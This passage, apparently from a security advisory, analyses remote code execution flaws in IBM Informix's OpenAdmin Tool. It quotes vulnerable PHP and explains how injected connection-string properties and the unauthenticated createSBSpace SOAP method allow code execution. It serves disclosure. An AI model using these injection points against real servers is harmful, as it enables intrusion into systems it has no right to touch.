class=\"crayon-sy\">.<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;;Driver={$informixdir}\/lib\/cli\/libifdmr.&#8221;<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">libsuffix<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-s\">&#8220;;&#8221;<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798554789257234-128\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798554789257234-129\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798554789257234-130\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">statemessage<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-s\">&#8220;Online&#8221;<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798554789257234-131\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">state<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798554789257234-132\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798554789257234-133\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">user<\/span><span class=\"crayon-h\">&nbsp;&nbsp; <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">row<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8216;USERNAME&#8217;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798554789257234-134\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">passwd<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">connections<\/span><span class=\"crayon-o\">::<\/span><span class=\"crayon-e\">decode_password<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">row<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8216;PASSWORD&#8217;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798554789257234-135\"><span class=\"crayon-h\">\t<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798554789257234-136\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798554789257234-137\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-st\">try<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798554789257234-138\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798554789257234-139\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">pingdb<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-r\">new<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">PDO<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">dsn<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">user<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-e\">utf8_decode<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">passwd<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">2<\/span><span class=\"crayon-sy\">]<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798554789257234-140\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798554789257234-141\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-st\">catch<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-i\">PDOException<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">e<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798554789257234-142\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798554789257234-143\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-c\">\/\/ error_log( $e-&gt;getMessage() );<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798554789257234-144\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">message<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-e\">preg_split<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;\/:\/&#8221;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">e<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-e\">getMessage<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798554789257234-145\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">statemessage<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">preg_replace<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;#[.+]#&#8221;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-s\">&#8220;&#8221;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">message<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798554789257234-146\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">statemessage<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-s\">&#8221; Last Online:&#8221;<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">lastonlineconv<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">row<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8216;LASTONLINE&#8217;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798554789257234-147\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">state<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-cn\">3<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798554789257234-148\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798554789257234-149\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">]<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798554789257234-150\"><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0135 seconds] -->  <\/p>\n<p>at [1] a connection string is concatenated with values taken from SQLite connection table. Arbitrary properties can be specified through &#8220;;&#8221;, leading to remote code<br \/> execution, when [2] the PDO object is instantiated.<\/p>\n<p><strong>Remote DLL Injection that leads to remote code execution (4)<\/strong><br \/> IBM Informix Dynamic Server Developer is vulnerable to Unauthentication Remote DLL Injection that leads to remote code execution. <\/p>\n<p>By contact the &#8216;<em>adminapiService.php<\/em>&#8216; SOAP interface and constructing a proper request to this endpoint, with the &#8216;<em>createSBSpace<\/em>&#8216; method specified, it possible to inject parameters into a connection string for the underlying Informix database.<\/p>\n<p>vulnerable code &#8211; <em>C:Program Files (x86)IBM Informix Software BundleOATApache_2.2.22htdocsopenadminservicesadminapiadminapiService.php<\/em><\/p>\n<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-5924b5979855a895116942\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-mixed-highlight\" title=\"Contains Mixed Languages\"><\/span><\/p>\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> &#8230;  &lt;?php  [..]        \/\/ turn of caching of the wsdl for now.      $ini = ini_set(&#8220;soap.wsdl_cache_enabled&#8221;,&#8221;0&#8243;);        \/\/ load our actual server.       require_once(&#8220;adminapiServer.php&#8221;);        \/\/create our soapserver.      $server = new SoapServer(&#8220;adminapi.wsdl&#8221;);        $server-&gt;setClass(&#8220;adminapiServer&#8221;);       if (isset($HTTP_RAW_POST_DATA)) {          $request = $HTTP_RAW_POST_DATA;      } else {          $request = file_get_contents(&#8216;php:\/\/input&#8217;);      }      \/\/error_log($request);      \/\/error_log(var_export($server,true));      $server-&gt;handle($request);  ?&gt;  &#8230;<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979855a895116942-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979855a895116942-2\">2<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979855a895116942-3\">3<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979855a895116942-4\">4<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979855a895116942-5\">5<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979855a895116942-6\">6<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979855a895116942-7\">7<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979855a895116942-8\">8<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979855a895116942-9\">9<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979855a895116942-10\">10<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979855a895116942-11\">11<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979855a895116942-12\">12<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979855a895116942-13\">13<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979855a895116942-14\">14<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979855a895116942-15\">15<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979855a895116942-16\">16<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979855a895116942-17\">17<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979855a895116942-18\">18<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979855a895116942-19\">19<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979855a895116942-20\">20<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979855a895116942-21\">21<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979855a895116942-22\">22<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979855a895116942-23\">23<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979855a895116942-24\">24<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-5924b5979855a895116942-1\"><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979855a895116942-2\"><span class=\"crayon-ta\">&lt;?php<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979855a895116942-3\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">]<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979855a895116942-4\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979855a895116942-5\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-c\">\/\/ turn of caching of the wsdl for now.<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979855a895116942-6\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">$ini<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">ini_set<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;soap.wsdl_cache_enabled&#8221;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-s\">&#8220;0&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979855a895116942-7\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979855a895116942-8\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-c\">\/\/ load our actual server. <\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979855a895116942-9\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-k\">require_once<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;adminapiServer.php&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979855a895116942-10\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979855a895116942-11\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-c\">\/\/create our soapserver.<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979855a895116942-12\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">$server<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-r\">new<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">SoapServer<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;adminapi.wsdl&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979855a895116942-13\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979855a895116942-14\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">$server<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-e\">setClass<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;adminapiServer&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979855a895116942-15\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-k\">isset<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">$HTTP_RAW_POST_DATA<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979855a895116942-16\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">$request<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">$HTTP_RAW_POST_DATA<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979855a895116942-17\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">else<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979855a895116942-18\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">$request<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">file_get_contents<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8216;php:\/\/input&#8217;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979855a895116942-19\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979855a895116942-20\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-c\">\/\/error_log($request);<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979855a895116942-21\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-c\">\/\/error_log(var_export($server,true));<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979855a895116942-22\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">$server<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-e\">handle<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">$request<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979855a895116942-23\"><span class=\"crayon-ta\">?&gt;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979855a895116942-24\"><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0023 seconds] -->  <\/p>\n<p>There is no check before handling request.<\/p>\n<p>Let&#8217;s look into the <em>createSBSpace()<\/em> method from <em>C:Program Files (x86)IBM Informix Software BundleOATApache_2.2.22htdocsopenadminservicesadminapiadminapiServer.php<\/em><\/p>\n<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-5924b5979855e153064850\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> &#8230;  function createSBSpace( $connectionObj,$dbsname,$path,$size,$offset                               ,$mpath=&#8221;&#8221;,$moffset=&#8221;&#8221; )      {            if (!dbsname)          {              throw new SoapFault(&#8220;createSBSpace&#8221;,&#8221;missing param dbsname&#8221;);          }            if (!path)          {              throw new SoapFault(&#8220;createSBSpace&#8221;,&#8221;missing param path&#8221;);          }            if (!size)          {              throw new SoapFault(&#8220;createSBSpace&#8221;,&#8221;missing param size&#8221;);          }            if (!offset)          {              throw new SoapFault(&#8220;createSBSpace&#8221;,&#8221;missing param offset&#8221;);          }            $qry = &#8220;execute function &#8220;.ADMIN_API_FUNCTION.&#8221; (&#8216;create sbspace&#8217; &#8220;;          $qry .= &#8220;,'{$dbsname}'&#8221;;          $qry .= &#8220;,'{$path}'&#8221;;          $qry .= &#8220;,'{$size}'&#8221;;          $qry .= &#8220;,'{$offset}'&#8221;;            if ( $mpath )          {              $qry .= &#8220;,'{$mpath}'&#8221;;                if ( $moffset )              {                  $qry .= &#8220;,'{$moffset}'&#8221;;              }          }            $qry .= &#8220;)&#8221;;            return $this-&gt;doDatabaseWork($connectionObj,$qry); &lt;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211; [1]      } \/\/ end createSBSpace  &#8230;<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979855e153064850-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979855e153064850-2\">2<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979855e153064850-3\">3<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979855e153064850-4\">4<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979855e153064850-5\">5<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979855e153064850-6\">6<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979855e153064850-7\">7<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979855e153064850-8\">8<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979855e153064850-9\">9<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979855e153064850-10\">10<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979855e153064850-11\">11<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979855e153064850-12\">12<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979855e153064850-13\">13<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979855e153064850-14\">14<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979855e153064850-15\">15<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979855e153064850-16\">16<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979855e153064850-17\">17<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979855e153064850-18\">18<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979855e153064850-19\">19<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979855e153064850-20\">20<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979855e153064850-21\">21<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979855e153064850-22\">22<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979855e153064850-23\">23<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979855e153064850-24\">24<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979855e153064850-25\">25<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979855e153064850-26\">26<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979855e153064850-27\">27<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979855e153064850-28\">28<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979855e153064850-29\">29<\/div>\n<div class=\"crayon-num 